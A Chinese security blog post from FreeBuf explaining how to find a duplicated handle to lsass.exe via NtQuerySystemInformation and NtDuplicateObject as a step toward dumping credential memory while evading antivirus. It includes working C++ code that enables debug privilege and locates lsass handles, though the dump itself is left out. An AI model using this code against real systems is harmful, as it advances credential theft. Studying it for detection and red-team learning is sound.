freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

利用NtDuplicateObject进行Dump
热烈的马 2023-04-05 10:17:42 122914
所属地 重庆

前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)

这是国外老哥2020年提出的一种蛮有意思的思路。

我们先来看看大致的思路是什么样子的,然后来看看一些需要学习的点。

  • 首先我们需要获得调式权限(SeDebugPrivilege)

  • 然后我们使用NtQuerySystemInformation生成所有进程打开的所有句柄

  • 利用OpenProcess打开句柄,赋予PROCESS_DUP_HANDLE权限

  • NtDuplicateObject将获取远程进程句柄的副本到我们的进程

  • 利用NtQueryObject函数判断句柄是进程句柄还是其他一些东西

  • 如果是进程句柄,则使用该句柄的副本调用QueryFullProcessImageName函数,它将显示进程可执行路径,以此判断是不是我们需要的那个进程

获得系统的调试权限就不多提了,这个利用RtlAdjustPrivilege函数即可轻松的获取到权限(不过需要在管理员权限下运行),我们先看看这个几函数以及其参数

NtQuerySystemInformation

__kernel_entry NTSTATUS NtQuerySystemInformation(
  [in]            SYSTEM_INFORMATION_CLASS SystemInformationClass,
  [in, out]       PVOID                    SystemInformation,
  [in]            ULONG                    SystemInformationLength,
  [out, optional] PULONG                   ReturnLength
);

第一个参数就是要检索的系统信息的类型,我们这里使用SYSTEM_HANDLE_INFORMATION,可能在MSDN上没有这个参数,我们看看SYSTEM_HANDLE_INFORMATION的结构

typedef struct _SYSTEM_HANDLE
{
    ULONG ProcessId;
    BYTE ObjectTypeNumber;
    BYTE Flags;
    USHORT Handle;
    PVOID Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG HandleCount;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

在_SYSTEM_HANDLE_INFORMATION中

  • HandleCount:表示句柄的总数

  • Handles[1]:即是单个的句柄(同时其详细结构在_SYSTEM_HANDLE中)

在_SYSTEM_HANDLE中表示单个句柄的参数

  • ProcessId:进程标识符

  • ObjectTypeNumber:打开的对象的类型

  • Flags:句柄属性标志

  • Handle:句柄数值,在进程打开的句柄中唯一标识某个句柄

  • Object:这个就是句柄对应的EPROCESS的地址

  • GrantedAccess:句柄对象的访问权限

NtDuplicateObject

这个函数是复制句柄,其原型如下,其可以对照ZwDuplicateObject

NTSYSCALLAPI
NTSTATUS
NTAPI
NtDuplicateObject(
    _In_ HANDLE SourceProcessHandle,
    _In_ HANDLE SourceHandle,
    _In_opt_ HANDLE TargetProcessHandle,
    _Out_opt_ PHANDLE TargetHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ ULONG HandleAttributes,
    _In_ ULONG Options
);
  • SourceProcessHandle:要复制的句柄的源进程句柄

  • SourceHandle:要复制的句柄

  • TargetProcessHandle:接收新进程的目标进程句柄

  • 一个句柄指针(就是保存句柄的副本)

  • 访问的权限

后面两个就不说明了,一般填0

NtQueryObject

函数原型如下

NTSYSCALLAPI
NTSTATUS
NTAPI
NtQueryObject(
    _In_ HANDLE Handle,
    _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
    _Out_opt_ PVOID ObjectInformation,
    _In_ ULONG ObjectInformationLength,
    _Out_opt_ PULONG ReturnLength
);

主要是第二个参数,第二个参数我们用到OBJECT_TYPE_INFORMATION(我没有找到解释)

typedef struct _OBJECT_TYPE_INFORMATION
{
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    ULONG PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

之后我们需要将缓冲区转换为UNICODE_STRING

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

Buffer是我们需要用到的,用于判断其是什么类型

我们随机选择一个进程进行测试,这里选择1048,我们将其进程中Type为Thread的和Handle给打印出来

#include <windows.h>
#include <stdio.h>
#include <iostream>
#include "ntdll.h"

#pragma comment(lib, "ntdll")
using namespace std;


int main(int argc, char* argv[]) {
	NTSTATUS status;
	ULONG handleInfoSize = 0x10000;
	PSYSTEM_HANDLE_INFORMATION handleInfo;
	HANDLE dupHandle;
	ULONG returnLength;
	HANDLE hProcess = NULL;

	DWORD pid = 1048;
	HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
	if (!processHandle) {
		printf("Could not open PID %d! (Don't try to open a system process.)\n", pid);
		return 1;
	}

	handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
	while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) {
		handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
	}
	if (!NT_SUCCESS(status))
	{
		cout << "[-] NtQuerySystemInformation Error" << endl;
		return 1;
	}

	//枚举所有的句柄
	for (ULONG i = 0; i < handleInfo->HandleCount; i++)
	{
		if (handleInfo->Handles[i].ProcessId != pid) {
			continue;
		}

		//复制句柄存储到dupHandle
		status = NtDuplicateObject(processHandle, (HANDLE)handleInfo->Handles[i].Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0);

		if (status != STATUS_SUCCESS) {
			continue;
		}

		PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
		status = NtQueryObject(dupHandle, ObjectTypeInformation, ObjectTypeInfo, 0x1000, NULL);
		if (status != STATUS_SUCCESS) {
			printf("[%#x] Error!\n", handleInfo->Handles[i].Handle);
			CloseHandle(dupHandle);
			continue;
		}

		UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo;
		if (objectType.Length) {
			if (wcsstr(objectType.Buffer, L"Thread") != NULL) {
				printf("Handle:[%#x] Type: % S\n", handleInfo->Handles[i].Handle, objectType.Buffer);
			}
		}

	}
	free(handleInfo);
}

代码可能写的有点磕碜,读者可以把参考一下:https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/

但是我们可以看到Name中有些进程并不是我们想要的,我们可以看看lsass.exe中Type为Process的Name,有很多我们并不需要的

因此我们需要对Name进行筛选,这时候就需要用到QueryFullProcessImageName

QueryFullProcessImageName

函数原型

WINBASEAPI
BOOL
WINAPI
QueryFullProcessImageNameW(
    _In_ HANDLE hProcess,
    _In_ DWORD dwFlags,
    _Out_writes_to_(*lpdwSize, *lpdwSize) LPWSTR lpExeName,
    _Inout_ PDWORD lpdwSize
    );

根据其句柄获得其文件的路径,我们可以利用其去判断是否是我们需要的文件

#include <windows.h>
#include <stdio.h>
#include <iostream>
#include "ntdll.h"

#pragma comment(lib, "ntdll")
using namespace std;

int SeDebugPrivilege() {
	BOOLEAN t;
	NTSTATUS status = RtlAdjustPrivilege(20, TRUE, FALSE, &t);
	if (!NT_SUCCESS(status)) {
		cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;

		return 1;
	}

	cout << "[+] RtlAdjustPrivilege Success" << endl;
}

int main(int argc, char* argv[]) {
	NTSTATUS status;
	ULONG handleInfoSize = 0x10000;
	PSYSTEM_HANDLE_INFORMATION handleInfo;
	HANDLE dupHandle;
	ULONG returnLength;
	HANDLE hProcess = NULL;

	SeDebugPrivilege();
	DWORD pid = ;
	HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
	if (!processHandle) {
		printf("Could not open PID %d! (Don't try to open a system process.)\n", pid);
		return 1;
	}

	handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
	while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) {
		handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
	}
	if (!NT_SUCCESS(status))
	{
		cout << "[-] NtQuerySystemInformation Error" << endl;
		return 1;
	}

	//枚举所有的句柄
	for (ULONG i = 0; i < handleInfo->HandleCount; i++)
	{
		if (handleInfo->Handles[i].ProcessId != pid) {
			continue;
		}

		//复制句柄存储到dupHandle
		status = NtDuplicateObject(processHandle, (HANDLE)handleInfo->Handles[i].Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0);

		if (status != STATUS_SUCCESS) {
			continue;
		}

		PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
		status = NtQueryObject(dupHandle, ObjectTypeInformation, ObjectTypeInfo, 0x1000, NULL);
		if (status != STATUS_SUCCESS) {
			printf("[%#x] Error!\n", handleInfo->Handles[i].Handle);
			CloseHandle(dupHandle);
			continue;
		}

		UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo;
		wchar_t path[MAX_PATH];
		DWORD maxpath = MAX_PATH;
		if (objectType.Length) {
			if (wcsstr(objectType.Buffer, L"Process") != NULL) {

				QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath);
				if (wcsstr(path, L"lsass.exe") != NULL) {

					printf("Handle:[%#x] Type: % S\n", handleInfo->Handles[i].Handle, objectType.Buffer);
				}
			}
		}

	}
	free(handleInfo);
}

之后就可以利用其对应的复制的句柄副本进行dump了,后面就不再讨论了。

我们上面是直接给的lsass.exe的pid,我们可以通过进程快照或者复制所有的进程句柄,到最后判断那再进行筛选来自动获得其进程。

参考文章:

https://skelsec.medium.com/duping-av-with-handles-537ef985eb03

# 渗透测试 # web安全 # 内网渗透 # 漏洞分析
本文为 热烈的马 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
热烈的马 LV.6
这家伙太懒了,还未填写个人描述!
  • 45 文章数
  • 18 关注者
关于Windows中获取指定进程pid的几种方法
2023-08-04
NTLM中继
2023-03-31
通过Hash查找API函数地址
2023-03-31
文章目录